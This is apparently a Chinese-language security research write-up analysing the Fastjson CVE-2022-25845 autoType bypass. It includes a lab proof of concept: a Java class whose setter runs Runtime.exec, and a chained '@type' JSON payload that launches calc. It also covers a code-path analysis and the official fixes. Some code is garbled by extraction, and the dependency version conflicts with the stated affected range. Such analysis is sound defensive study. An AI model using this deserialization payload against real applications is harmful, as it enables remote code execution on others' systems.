Fastjson 代碼執行 CVE-2022-25845
漏洞簡介
Fastjson 代碼執行漏洞,該漏洞允許攻擊者繞過 Fastjson 中的"AutoTypeCheck"機制并實現遠程代碼執行
影響版本:1.2.80及以下版本,即<= 1.2.80
漏洞復現
我們利用 idea 創建 maven 項目 搭建漏洞環境,在 pom 文件中添加
com.alibabagroupId> fastjsonartifactId> 1.2.82version>dependency>
創建文件夾 com.example.fastjson
在下面添加兩個 java 文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Exception { public void setName(String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } }}
package com.example.fastjson;import com.alibaba.fastjson.JSON;
public class PocDemo { public static void main(String[] args) { String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}"; JSON.parse(json); }}
運行 PocDemo

漏洞分析
AutoType
我們知道在 fastjson 1.2.25 后設定了 autoType 只有打開 autoType之后,fastjson 是基于內置黑名單來實現安全的,如此可能會造成安全風險,就是繞過黑名單
不開啟時,是基于白名單進行防護的,這個漏洞的產生就是未開啟 autoType 時產生的。
但是未開啟 autoType 時是基于白名單,是很難實現代碼執行的,所以我們就需要想辦法 Bypass AutoType 默認禁用策略,可以實現調用任意類
開啟 autoType 后,最終調用的是 config.checkAutoType
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)

其中聲明了各種被黑名單列入的類,是通過十六進制來記錄各種類,可以在 fastjson-blacklist,看到具體類的名稱
Throwable
我們注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同樣調用了 checkAutoType


同時我們可以發現在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 會檢測目標類中是否屬于Throwable 的擴展,之后就會調用 ThrowableDeserializer.deserialize()

所以初步得出結論,如果目標類屬于 Throwable 的擴展類,就可以實現打開autoType的類似操作,去調用任何類

為了驗證這個猜測,我們修改一下文件
package com.example.fastjson;
importjava.io.IOException;
publicclass Poc extendsError { publicvoidsetName(String str){ try{ Runtime.getRuntime().exec(str); }catch(IOException e){ e.printStackTrace(); } }}

依然可以利用成功
繼續關注函數 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 會調用 createException 去創建反序列化函數

com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException

最后還是在函數 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 中實現了代碼執行

如此整個漏洞就分析完成了
漏洞修復
官方提供了以下四種修復方式
?升級到最新版本1.2.83
?safeMode加固
?升級到fastjson v2
?noneautotype版本
總結反思
整個漏洞的分析花了很多時間,根據參考文章 CVE-2022-25845 – Analyzing the Fastjson “Auto Type Bypass” RCE vulnerability 來來回回加斷點調試了很久。對這個漏洞做一個自己的總結。
在默認未開啟 AutoType 時,Fastjson 是基于白名單的獲取外部類,通過 搜索? checkAutoType 發現ThrowableDeserializer#deserialze 中的調用,當然也不止這一處,只是這處能進一步的利用,通過滿足類屬于 Throwable 的擴展類就可以觸發,最后實現代碼執行。但是這個代碼在實際場景中的利用要求較為苛刻,首先滿足類是 Throwable 的擴展類,同時其中必須有危險的 set 方法。